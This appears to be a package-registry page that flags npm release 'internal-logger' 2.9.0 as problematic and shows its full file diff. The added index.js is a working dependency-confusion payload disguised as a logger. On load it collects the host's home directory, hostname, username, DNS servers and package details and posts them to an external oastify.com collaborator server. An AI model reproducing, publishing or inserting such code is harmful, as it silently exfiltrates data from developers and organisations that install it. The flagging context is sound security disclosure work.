internal-logger 2.9.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of internal-logger might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +63 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,63 @@
1
+ //author:- wtest
2
+
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+
12
+ p: package,
13
+ c: __dirname,
14
+ hd: os.homedir(),
15
+ hn: os.hostname(),
16
+ un: os.userInfo().username,
17
+ dns: dns.getServers(),
18
+ r: packageJSON ? packageJSON.___resolved : undefined,
19
+ v: packageJSON.version,
20
+ pjson: packageJSON,
21
+
22
+ });
23
+
24
+ var postData = querystring.stringify({
25
+
26
+ msg: trackingData,
27
+
28
+ });
29
+
30
+ var options = {
31
+
32
+ hostname: "2svta3bore6bk1i80ke10tpdy44vspge.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
33
+ port: 443,
34
+ path: "/",
35
+ method: "POST",
36
+
37
+ headers: {
38
+
39
+ "Content-Type": "application/x-www-form-urlencoded",
40
+ "Content-Length": postData.length,
41
+
42
+ },
43
+
44
+ };
45
+
46
+ var req = https.request(options, (res) => {
47
+
48
+ res.on("data", (d) => {
49
+
50
+ process.stdout.write(d);
51
+
52
+ });
53
+
54
+ });
55
+
56
+ req.on("error", (e) => {
57
+
58
+ // console.error(e);
59
+
60
+ });
61
+
62
+ req.write(postData);
63
+ req.end();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "internal-logger",
3
+ "version": "2.9.0",
4
+ "description": "dependecy confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }